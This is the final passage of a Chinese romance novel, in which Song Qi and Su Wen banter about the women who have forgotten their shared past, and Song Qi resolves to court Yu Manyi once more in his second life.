“你有出息?”苏文停住脚步,用一种毫无底气的语气反击。 “我可比你镇定多了。”宋麒大言不惭。 “你速度可比我慢多了,”苏文试图扳回一局,“我只差一层窗户纸了,你……你……” “你什么你,我这件衣服的扣子都是于曼颐给我系的,你呢?” 苏文:…… 眼看着宋麒就要穿过那扇石拱门,苏文忽然将声音抬高些,一边叹气一边感慨:“行了吧,咱们两个,五十步笑百步。总之她俩都是什么也没记住,我们两个又什么都记得住……你和我斗嘴也没用,反正我都快说开了,你呢?你接下来打算怎么办?“ 接下来打算怎么办? 一门之隔,门后便是浓郁的树荫与夏日的聒噪蝉鸣。宋麒在拱门底下站定片刻,再抬起头时,已经看到了和游筱青站在一起拍照的于曼颐——两个人都无忧无虑,两个人都笑得那么开心。 他起初困扰她什么都不记得,但在这一刻,宋麒忽然又觉得,她什么都不记得也不错。 至于他该怎么办…… 他回头看着苏文,语气是跨越过世纪的波澜不惊。 “活了两辈子的人了,怎么还问这种话?怎么办……当然是再对她好一次。” 再对她好一次,再追她一次。 再一次和她从陌路,走到相知。 【完】